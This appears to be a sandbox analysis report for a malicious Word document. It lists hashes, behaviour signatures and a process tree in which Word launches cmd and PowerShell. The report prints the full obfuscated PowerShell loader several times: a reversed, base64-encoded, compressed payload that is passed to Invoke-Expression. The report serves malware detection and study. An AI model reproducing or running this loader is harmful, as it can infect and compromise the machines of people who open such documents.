Overview

overview

10

Static

static

8

5c4f23be3b...11.doc

windows7-x64

10

5c4f23be3b...11.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    101s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-11-2022 08:28

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    5c4f23be3b3a460a5359846c8e23b5aa051433101e9640d6962696ed6b117911.doc

  • Size

    76KB

  • MD5

    8e62814b7de4baf9cd0bf2f2d461230b

  • SHA1

    afddb95789cc69d3cbda3ed027e78bb419b26b27

  • SHA256

    5c4f23be3b3a460a5359846c8e23b5aa051433101e9640d6962696ed6b117911

  • SHA512

    2535745ee520bc2972ea8c0b83562ed454dfce1e057eeccb91c0dd4cd320b3778ee53de77c22be048e89832ef59fed9c8b935e332d64a0cf173fc9f671da6cd9

  • SSDEEP

    1536:bjG+ocn1kp59gxBK85fBt+a9OJ38F7lE+753uZ4JnLJ38F7lr1wXQt39C1OXUZ22:nu41k/W48gJ38F7lE+753uZ4JnLJ38FI

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5c4f23be3b3a460a5359846c8e23b5aa051433101e9640d6962696ed6b117911.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4836
    • C:\Windows\SYSTEM32\CMD.exe
      CMD /c c:\WInDowS\sySteM32\CMd.exE /C "seT fhc=sV jq9Ih ( [CHAR[] ]"))63]rAHC[,)68]rAHC[+801]rAHC[+37]rAHC[(EcAlper-421]rAHC[,'8IU' ECALPeRc-93]rAHC[,)25]rAHC[+911]rAHC[+101]rAHC[( ECALPeRc- )')4we4wenI'+'Oj-]52,'+'42,4'+'[cePSMoc:vNE'+'VlI ( .8IU '+')}'+' )(Dne'+'otDAeR.'+'_VlI{hcaEROf 8IU }'+') iicSa::]g'+'NIDOcne.TXet['+',_V'+'lI(Red'+'AeRMAE'+'R'+'ts.oI tCe'+'jbo-weN {HcA'+'ERof 8IU )sseRpMoCEd::'+']'+'EdoMn'+'Oi'+'SSERpmOC.N'+'oISserp'+'moc.'+'oI.mEt'+'SyS'+'[,) '+'4weLgf8D'+'rKLIhl4'+'2oHPI6re'+'RdKSb'+'U7sTVB'+'2Jl8V/4sGRlTZthhNP'+'K'+'2tScg'+'9sdg'+'uNcKJKfinCO'+'k'+'qL2VjVqIgsnxR86k9L'+'Sve'+'tLUAb'+'D'+'TE'+'UK3'+'xIrya73'+'fosI5ZyFUXk'+'qTHFmW3'+'s'+'X'+'Kf063Nm9CkIopw'+'SD'+'O8'+'Z'+'Pj0D'+'Ci'+'3hx6qMB'+'B7kMaZCIKC/9+pa/shTRyxV11bZe'+'Xc6d2za4cX'+'tZDV+'+'uoQaLKQoR7'+'fW8HHWLcsSpc3LVFS'+'UfhhO1tX49'+'n3'+'ElZL'+'8Bu95CmQ'+'e'+'A3GiWxo0sc9QC'+'F'+'YWFr8TwO'+'g'+'vZ'+'SBNwn2QG'+'Ymm/WGv8yD8'+'e'+'undDsw'+'L+O/FhhnWnkpNGX7k2dk4wW'+'3OOnJoLohBafD'+'TyVU'+'C8iS/'+'bIFwI8adBZV4we(gnirTs4'+'6ESaBMORF::]trevn'+'Oc.'+'Metsys[]MAE'+'Rt'+'SYro'+'MEM.'+'oi'+'[ ('+'mae'+'rt'+'sETaLfE'+'D.noissER'+'P'+'m'+'OC'+'.Oi.'+'M'+'E'+'TSYs'+' tCejbo-'+'we'+'N('((()''nIOj-]52,42,4[cepsMoc:vNE$ (." ); [ARray]::rEvERsE( $jQ9iH);IEx( -JOIN$jQ9iH ) && poWErSHeLL SeT-iTEM (\"v\" + \"ARiablE\" + \":5Pv\" ) ( [typE]( \"{3}{0}{2}{1}\" -f'NVi','ONmeNt','r','E' ) ) ; ( ^& ( \"{1}{2}{0}\"-f'e','variA','Bl' ) ( \"{1}{0}\" -f '*Xt','Ex') -vAlUEONLY ).\"I`NvO`KE`coMmaND\".\"in`VoKes`c`RIpt\"( ( $5PV::( \"{1}{2}{5}{3}{4}{0}\"-f 'ble','GETEn','V','ONME','NTvARiA','iR' ).Invoke( 'FHC',( \"{2}{0}{1}\"-f'roc','eSs','p' )) ) )"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:984
      • \??\c:\WInDowS\sySteM32\cmd.exe
        c:\WInDowS\sySteM32\CMd.exE /C "seT fhc=sV jq9Ih ( [CHAR[] ]"))63]rAHC[,)68]rAHC[+801]rAHC[+37]rAHC[(EcAlper-421]rAHC[,'8IU' ECALPeRc-93]rAHC[,)25]rAHC[+911]rAHC[+101]rAHC[( ECALPeRc- )')4we4wenI'+'Oj-]52,'+'42,4'+'[cePSMoc:vNE'+'VlI ( .8IU '+')}'+' )(Dne'+'otDAeR.'+'_VlI{hcaEROf 8IU }'+') iicSa::]g'+'NIDOcne.TXet['+',_V'+'lI(Red'+'AeRMAE'+'R'+'ts.oI tCe'+'jbo-weN {HcA'+'ERof 8IU )sseRpMoCEd::'+']'+'EdoMn'+'Oi'+'SSERpmOC.N'+'oISserp'+'moc.'+'oI.mEt'+'SyS'+'[,) '+'4weLgf8D'+'rKLIhl4'+'2oHPI6re'+'RdKSb'+'U7sTVB'+'2Jl8V/4sGRlTZthhNP'+'K'+'2tScg'+'9sdg'+'uNcKJKfinCO'+'k'+'qL2VjVqIgsnxR86k9L'+'Sve'+'tLUAb'+'D'+'TE'+'UK3'+'xIrya73'+'fosI5ZyFUXk'+'qTHFmW3'+'s'+'X'+'Kf063Nm9CkIopw'+'SD'+'O8'+'Z'+'Pj0D'+'Ci'+'3hx6qMB'+'B7kMaZCIKC/9+pa/shTRyxV11bZe'+'Xc6d2za4cX'+'tZDV+'+'uoQaLKQoR7'+'fW8HHWLcsSpc3LVFS'+'UfhhO1tX49'+'n3'+'ElZL'+'8Bu95CmQ'+'e'+'A3GiWxo0sc9QC'+'F'+'YWFr8TwO'+'g'+'vZ'+'SBNwn2QG'+'Ymm/WGv8yD8'+'e'+'undDsw'+'L+O/FhhnWnkpNGX7k2dk4wW'+'3OOnJoLohBafD'+'TyVU'+'C8iS/'+'bIFwI8adBZV4we(gnirTs4'+'6ESaBMORF::]trevn'+'Oc.'+'Metsys[]MAE'+'Rt'+'SYro'+'MEM.'+'oi'+'[ ('+'mae'+'rt'+'sETaLfE'+'D.noissER'+'P'+'m'+'OC'+'.Oi.'+'M'+'E'+'TSYs'+' tCejbo-'+'we'+'N('((()''nIOj-]52,42,4[cepsMoc:vNE$ (." ); [ARray]::rEvERsE( $jQ9iH);IEx( -JOIN$jQ9iH ) && poWErSHeLL SeT-iTEM (\"v\" + \"ARiablE\" + \":5Pv\" ) ( [typE]( \"{3}{0}{2}{1}\" -f'NVi','ONmeNt','r','E' ) ) ; ( ^& ( \"{1}{2}{0}\"-f'e','variA','Bl' ) ( \"{1}{0}\" -f '*Xt','Ex') -vAlUEONLY ).\"I`NvO`KE`coMmaND\".\"in`VoKes`c`RIpt\"( ( $5PV::( \"{1}{2}{5}{3}{4}{0}\"-f 'ble','GETEn','V','ONME','NTvARiA','iR' ).Invoke( 'FHC',( \"{2}{0}{1}\"-f'roc','eSs','p' )) ) )"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3852
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          poWErSHeLL SeT-iTEM (\"v\" + \"ARiablE\" + \":5Pv\" ) ( [typE]( \"{3}{0}{2}{1}\" -f'NVi','ONmeNt','r','E' ) ) ; ( & ( \"{1}{2}{0}\"-f'e','variA','Bl' ) ( \"{1}{0}\" -f '*Xt','Ex') -vAlUEONLY ).\"I`NvO`KE`coMmaND\".\"in`VoKes`c`RIpt\"( ( $5PV::( \"{1}{2}{5}{3}{4}{0}\"-f 'ble','GETEn','V','ONME','NTvARiA','iR' ).Invoke( 'FHC',( \"{2}{0}{1}\"-f'roc','eSs','p' )) ) )
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3752

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/984-142-0x0000000000000000-mapping.dmp
    Download
  • memory/3752-148-0x00007FFCE2360000-0x00007FFCE2E21000-memory.dmp
    Filesize

    10.8MB

    Download
  • memory/3752-147-0x00007FFCE2360000-0x00007FFCE2E21000-memory.dmp
    Filesize

    10.8MB

    Download
  • memory/3752-146-0x00007FFCE2360000-0x00007FFCE2E21000-memory.dmp
    Filesize

    10.8MB

    Download
  • memory/3752-145-0x0000029D4E9A0000-0x0000029D4E9C2000-memory.dmp
    Filesize

    136KB

    Download
  • memory/3752-144-0x0000000000000000-mapping.dmp
    Download
  • memory/3852-143-0x0000000000000000-mapping.dmp
    Download
  • memory/4836-141-0x00007FFCCB810000-0x00007FFCCB820000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4836-135-0x00007FFCCDEB0000-0x00007FFCCDEC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4836-140-0x00007FFCCB810000-0x00007FFCCB820000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4836-139-0x00007FFCCDEB0000-0x00007FFCCDEC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4836-138-0x00007FFCCDEB0000-0x00007FFCCDEC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4836-136-0x00007FFCCDEB0000-0x00007FFCCDEC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4836-137-0x00007FFCCDEB0000-0x00007FFCCDEC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4836-150-0x00007FFCCDEB0000-0x00007FFCCDEC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4836-151-0x00007FFCCDEB0000-0x00007FFCCDEC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4836-152-0x00007FFCCDEB0000-0x00007FFCCDEC0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4836-153-0x00007FFCCDEB0000-0x00007FFCCDEC0000-memory.dmp
    Filesize

    64KB

    Download